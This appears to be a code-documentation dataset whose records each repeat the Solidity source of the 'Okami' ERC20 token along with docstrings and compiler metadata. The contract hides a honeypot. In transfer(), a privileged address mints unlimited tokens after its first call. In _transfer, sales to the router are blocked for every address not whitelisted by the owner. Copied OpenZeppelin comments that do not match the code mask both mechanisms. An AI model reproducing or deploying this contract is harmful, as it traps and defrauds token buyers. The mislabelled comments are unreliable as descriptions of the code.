* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
3010,
3210
]
} | 573 |
||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function begintrading (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function botban(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function setSupply(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
botban(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
} | symbol | function symbol() public view virtual override returns (string memory) {
return _symbol;
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
910,
1019
]
} | 574 |
||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function begintrading (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function botban(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function setSupply(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
botban(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
} | begintrading | function begintrading (address set) public checker {
router = set;
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
1241,
1328
]
} | 575 |
||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function begintrading (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function botban(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function setSupply(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
botban(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
} | decimals | function decimals() public view virtual override returns (uint8) {
return 18;
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
1594,
1696
]
} | 576 |
||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function begintrading (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function botban(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function setSupply(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
botban(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
} | totalSupply | function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
| /**
* @dev updateTaxFee
*
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
1750,
1863
]
} | 577 |
||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function begintrading (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function botban(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function setSupply(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
botban(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
} | balanceOf | function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
2176,
2308
]
} | 578 |
||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function begintrading (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
